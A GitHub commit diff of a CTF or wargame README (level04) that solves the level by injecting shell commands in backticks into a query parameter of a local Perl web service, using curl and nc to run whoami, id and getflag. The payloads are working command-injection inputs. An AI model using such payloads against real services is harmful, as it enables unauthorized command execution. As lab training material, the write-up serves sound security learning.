Skip to content

Commit

Permalink
Update README.mdx
Browse files Browse the repository at this point in the history
  • Loading branch information
nuoxoxo authored Nov 19, 2024
1 parent a40b1ee commit 59a1458
Showing 1 changed file with 5 additions and 3 deletions.
8 changes: 5 additions & 3 deletions level04/README.mdx
Original file line number Diff line number Diff line change
Expand Up @@ -41,12 +41,13 @@ Solution
- set the query payload and Perl will echo it

```b
> curl -I localhost:4747
or
> nc -vz localhost 4747
^ v: verbose
z: scan if a port is open (a listening daemon)
Connection to localhost 4747 port [tcp/*] succeeded!
# eg.
> curl localhost:4747/?x="\`/usr/bin/whoami\`"
> curl localhost:4747/?x="\`/usr/bin/id\`"
Expand All @@ -55,12 +56,13 @@ Connection to localhost 4747 port [tcp/*] succeeded!
> curl localhost:4747/?x="\`/bin/df\`"
# avoid typing realpath out
# whereis or which : avoid typing realpath out
> curl localhost:4747/?x="\`$(whereis pwd|awk '{print $2}')\`"
or
> curl localhost:4747/?x="\`$(which pwd)\`" 🟢
# solve
> curl localhost:4747/?x="\`$(which getflag)\`"
or
> echo -e "GET /?x=\`$(which getflag)\` HTTP/1.1\r\nHost: localhost\r\n\r\n" | nc localhost 4747
```

0 comments on commit 59a1458

Please sign in to comment.